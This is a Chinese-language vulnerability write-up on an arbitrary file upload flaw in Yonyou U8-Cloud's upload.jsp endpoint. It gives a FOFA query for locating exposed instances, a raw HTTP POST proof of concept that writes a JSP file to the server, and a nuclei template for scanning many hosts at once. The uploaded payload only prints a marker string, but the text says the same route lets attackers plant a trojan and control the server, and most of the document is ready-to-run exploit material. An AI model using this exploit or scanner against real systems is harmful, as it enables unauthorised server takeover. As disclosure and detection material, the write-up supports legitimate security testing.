用友U8-Cloud upload.jsp 任意文件上传漏洞

漏洞简介

U8 cloud 聚焦成长型、创新型企业的云 ERP，基于全新的企业互联网应用设计理念，为企业提供集人财物客、产供销于一体的云 ERP 整体解决方案，全面支持多组织业务协同、智能财务，人力服务、构建产业链智造平台，融合用友云服务实现企业互联网资源连接、共享、协同。
该系统upload.jsp存在任意文件上传漏洞，攻击者可通过该漏洞上传木马，远程控制服务器

漏洞复现

fofa语法：app="用友-U8-Cloud"
登录页面如下：

POC:

POST /linux/pages/upload.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
filename: hack.jsp
Content-Length: 56


<% out.println("The website has vulnerabilities!!");%>

访问上传后的文件http://ip:port/linux/hack.jsp

nuclei批量yaml文件

id: yonyou_U8Cloud_upload
info:
  name: 用友U8-Cloud upload.jsp 任意文件上传漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: upload
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
requests:
  - raw:
      - |-
        POST /linux/pages/upload.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Type: application/x-www-form-urlencoded
        filename: {{file_name}}
        Content-Length: 56


        <% out.println("The website has vulnerabilities!!");%>
      - |-
        GET /linux/{{file_name}} HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "The website has vulnerabilities!!") && status_code_2 == 200'